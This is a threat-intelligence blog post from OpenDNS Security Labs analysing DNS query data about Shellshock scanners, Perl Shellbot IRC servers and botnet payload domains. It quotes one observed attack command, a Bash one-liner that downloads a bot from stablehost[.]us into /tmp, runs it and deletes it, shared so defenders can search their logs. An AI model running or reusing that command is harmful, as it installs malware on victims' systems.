How OpenDNS Labs Sees the BASH Vulnerability

There have been many blog posts, tweets, and even a few webinars already scheduled to talk about the massive patch-forcing BASH vulnerability – more commonly known as “Shellshock”. OpenDNS Security Labs thought long and hard about how we would respond and decided that, in the best interest of the security community, we wouldn’t simply rehash what everyone else was saying. Instead, we decided to look at the queries made on our global infrastructure to see what observations could be made.

The Data

With the help of numerous sources, including our friends at AlienVault, ThreatStream, and Akamai in addition to individuals such as @lbhuston, @achillean, @dkulshitsky, and @nickschroedl, among others, we were able to compile a list of Shellshock scanning IP addresses. This list, which can be found here, contains 1060 unique IP addresses, at the time this blog post was written, from countries all over the world.
As we began to look at the data, a question materialized: how many of these scans were from researchers vs. malicious actors…and how could we find out?
To begin with, we looked at the IP addresses from our scan data set and determined the ASN, CIDR, geographic location, and AS owners for each scanner IP. An IP-based geolocation map was generated and can be seen below.

Looking at the scanning IP country of origin, the chart shown below represents the top talking countries, by ASN, with more than 10 identified IP-to-ASN mappings. As you can see, the majority of scans originated from France, Germany, The Netherlands, Italy, China, Great Britain, and the United States, in ascending order.

For those scanning countries with fewer than 10 scans, there is a much more level count of scans-per-country.
 
Just hours after this vulnerability was reported, Perl Shellbot and bash injected ELF malware was seen in the wild.
Aside from researchers scanning the entire Internet (looking at you @achillean and @ErrataRob), hobbyists, and script kiddies, we observed a huge surge in connections to two IRC servers with hardcoded discovered in several Perl Shellbot samples we (along with others) found on Pastebin.com. These IRC servers, us[.]bot[.]nu and fbi[.]bot[.]nu, are profiled below, as is another malicious payload downloader site.

Analysis – us[.]bot[.]nu

Between September 25th, 2014 and October 2nd, 2014 we observed more than 3.2 million queries for this domain on our infrastructure, with the highest peak (602,295) occurring on September 27th at 01:00 UTC.

Analysis – fbi[.]bot[.]nu

Between September 25th, 2014 and October 2nd, 2014 we observed more than 2.5 million queries for this domain, with the highest peak (410,651) occurring on September 27th at 01:00 UTC.
 

Analysis – Stablehost[.]us

A third domain has also been observed as a payload delivery downloader site after the Shellshock vulnerability is detected. This site, stablehost[.]us was known to, and blocked by, OpenDNS back in January, 2014 as it had been used to deliver the Fiesta exploit kit – and now appears to be repurposed for payload delivery.

The following string was observed by numerous researchers and security professionals across various perimeter security controls. The command is essentially fetching and running another payload as part of its post-exploitation campaign:

/bin/bash -c ”wget http://stablehost[.]us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot ; sh /tmp/sh;rm -rf /tmp/sh

Based on the sustained 1K query count, this is likely a string you should start reviewing your logs for.

Further Analysis

With all of that data, can we differentiate between researchers, script kiddies, and bots? The first two (researchers and script kiddies) are by far the most difficult to differentiate between <pause for laughter>. Let’s look at more findings and see…
Looking at day over day changes in activities between users who had been probing for the vulnerability on September 29th vs the 30th, there 118 more users on the 30th than on the 29th. Despite this sudden uptick in users what was more interesting was traffic patterns between the two groups. More than 90% of the new Shellshock probers visited less than three suspicious websites. However, individuals on the 29th who had visited malware continued to visit malware on the same rate on the 30th. In fact, the malware rates and sites visited were almost identical with a deviation of +/- 2. One guess could be that the surge in new probers could be a either security researchers or script kiddies. The users on the 29th who were probing, and had high malware visitation rates, were probably already compromised machines.
Interestingly – only one malicious domain was found common across each of the three datasets. The advombat[.]ru domain was found once in the Stablehost dataset and three times in both the September 29th and September 30th datasets. The advombat domain is connected with ransomware downloads and, viewing a query history over the past one month, reveals that the domain receives approximately 15k queries per hour with traffic activity following a diurnal pattern. This sort of behavior supports the hypothesis that machines probing for the Shellshock vulnerability on the 29th were part of a larger compromised network. A point of further investigation would be to analyze similarities in traffic between computers that have visited advombat domain.
The stablehost[.]us dataset provided us with data regarding computers that were becoming part of a larger Shellshock botnet. The most frequently found domain found across the set of 18 IPs was stabehost[.]us with 17 occurrences. The second most common was linksys[.]secureshellz[.]net. with 8 occurrences.

Secureshellz has been identified by researchers such as our friends over at @MalwareMustDie as one of the C2 centers for the Shellshock botnet. It was also previously known, and blocked, for serving the Fiesta Exploit Kit at the beginning of January, 2014.

In closing… 

So it seems that looking at the data as we’ve done thus far hasn’t really afforded us the visibility into the bot vs. human vs. infected human differentiation problem. OpenDNS Labs will continue to explore this in an upcoming blog post as we have some interesting ideas on how to attack this particular problem and secure DNS servers against attack.